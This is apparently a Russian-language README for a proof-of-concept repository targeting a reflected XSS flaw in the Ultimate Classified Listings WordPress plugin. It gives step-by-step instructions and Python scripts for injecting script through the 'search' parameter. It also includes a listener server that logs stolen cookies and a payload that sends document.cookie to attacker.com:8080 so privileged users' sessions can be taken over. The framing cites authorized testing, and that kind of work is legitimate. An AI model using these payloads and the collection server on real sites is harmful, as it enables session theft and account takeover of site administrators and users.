
Скрипты доказательства концепции, демонстрирующие уязвимости отраженного XSS и кражи cookie в плагинах WordPress, для авторизованного тестирования безопасности и исследования уязвимостей.
Этот репозиторий содержит скрипты Proof of Concept (PoC) для различных уязвимостей, обнаруженных в разных плагинах WordPress. Эти скрипты демонстрируют, как злоумышленники могут использовать эти уязвимости для выполнения вредоносных действий.
Отражённый межсайтовый скриптинг (XSS) в плагине Ultimate Classified Listings
Кража куки с помощью XSS
Этот PoC демонстрирует, как использовать уязвимость отражённого XSS в плагине Ultimate Classified Listings.
Определите уязвимый параметр:
search в URL http://example.com/classifieds.Создайте вредоносный URL:
http://example.com/classifieds?search=<script>alert('XSS')</script>
Запустите скрипт PoC:
xss_poc.py и запустите его.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
payload = "<script>alert('XSS')</script>" # XSS payload
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
Этот PoC демонстрирует, как злоумышленник может использовать уязвимость отражённого XSS для кражи куки у пользователей с высокими привилегиями.
Настройка вредоносного сервера:
malicious_server.py и запустите его, чтобы запустить сервер, который записывает входящие запросы (включая куки).from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
logging.info(f"Received request: {self.headers}")
self.send_response(200)
self.end_headers()
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
logging.basicConfig(filename='server.log', level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Starting server on port {port}...')
httpd.serve_forever()
if __name__ == "__main__":
run()
Создайте полезную нагрузку для кражи куки:
http://example.com/classifieds?search=<script>new Image().src='http://attacker.com:8080?cookie='+document.cookie;</script>
Запустите скрипт PoC:
steal_cookies_poc.py и запустите его.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
attacker_server = "http://attacker.com:8080" # Change this to your malicious server's URL
payload = f"<script>new Image().src='{attacker_server}?cookie='+document.cookie;</script>"
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
Эти PoC демонстрируют, как злоумышленник может использовать уязвимости в плагинах WordPress для выполнения вредоносных действий. Всегда обновляйте своё программное обеспечение и следуйте лучшим практикам безопасности, чтобы предотвратить такие уязвимости.